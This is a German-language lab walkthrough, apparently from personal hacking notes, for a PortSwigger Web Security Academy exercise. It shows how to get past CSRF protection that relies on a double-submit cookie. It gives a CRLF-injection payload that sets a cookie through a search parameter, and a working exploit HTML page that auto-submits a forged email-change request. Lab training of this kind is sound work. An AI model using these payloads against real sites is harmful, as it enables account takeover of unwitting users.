> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md).

# CSRF mit dupliziertem Token in einem Double-Submit-Cookie

### CSRF, bei dem das Token im Cookie dupliziert ist

#### Beschreibung

Die E-Mail-Änderungsfunktion dieses Labs ist anfällig für einen CSRF-Angriff. Die Seite versucht, die fragile Technik von **"doppelte Übermittlung"**: Das gleiche CSRF-Token ist sowohl in einem Formularfeld als auch in einem Cookie vorhanden. Dieser Schutz ist unzureichend, wenn ein Angreifer eine seitenübergreifende Anfrage fälschen kann, die ein `CSRF` Feld mit demselben Wert sendet.

#### Ziel

Das Hosten einer HTML-Seite auf Ihrem **Server** die, wenn der Besucher sie aufruft, automatisch eine POST-Anfrage sendet, um seine E-Mail-Adresse zu ändern (lösen Sie das Lab).

#### Zugriff (Anmeldedaten)

Sie können sich verbinden mit: `wiener: peter`

#### Wichtige Beobachtungen aus den Tests

* Der Wert des CSRF-Tokens im Formular und der Cookie-Wert sind identisch.

<figure><img src="/files/8cb8f1bde3b649ed89dbafa526557ec5b5d27942" alt=""><figcaption></figcaption></figure>

#### Beispiel für CRLF-Injektion (in der `Suche` Adressleiste oder Parameter)

<figure><img src="/files/b33f0f177bc45092210337011283d968e89284ff" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/de5ff2954b58f20161a43ca4dec097feffbc8d02" alt="" width="421"><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO
```

<figure><img src="/files/f72655d04689af2d7daad73c8faca59bd2ff71e1" alt=""><figcaption></figcaption></figure>

* Um zu erzwingen, dass das Cookie in einem Cross-Site-Kontext gesendet wird, ist es nützlich, `SameSite=None` für das Cookie festzulegen.

```
hello Set-Cookie: csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO; SameSite=none

hello%0d%0aSet-Cookie:%20csrfKey%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone
```

#### Exploit-HTML zum Bereitstellen auf dem Exploit-Server

Hier ist ein Beispiel für eine Seite, die den Wert des CSRF-Tokens in das `CSRF` Feld einträgt, die Ziel-E-Mail-Adresse festlegt und dann das Formular automatisch absendet, indem sie die Bildabfrage ausnutzt (die den Versuch auslöst, das Cookie über die Suche zu schreiben):

```html
<form class="login-form" name="change-email-form" action="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO">
</form>

<img  src="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrf%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
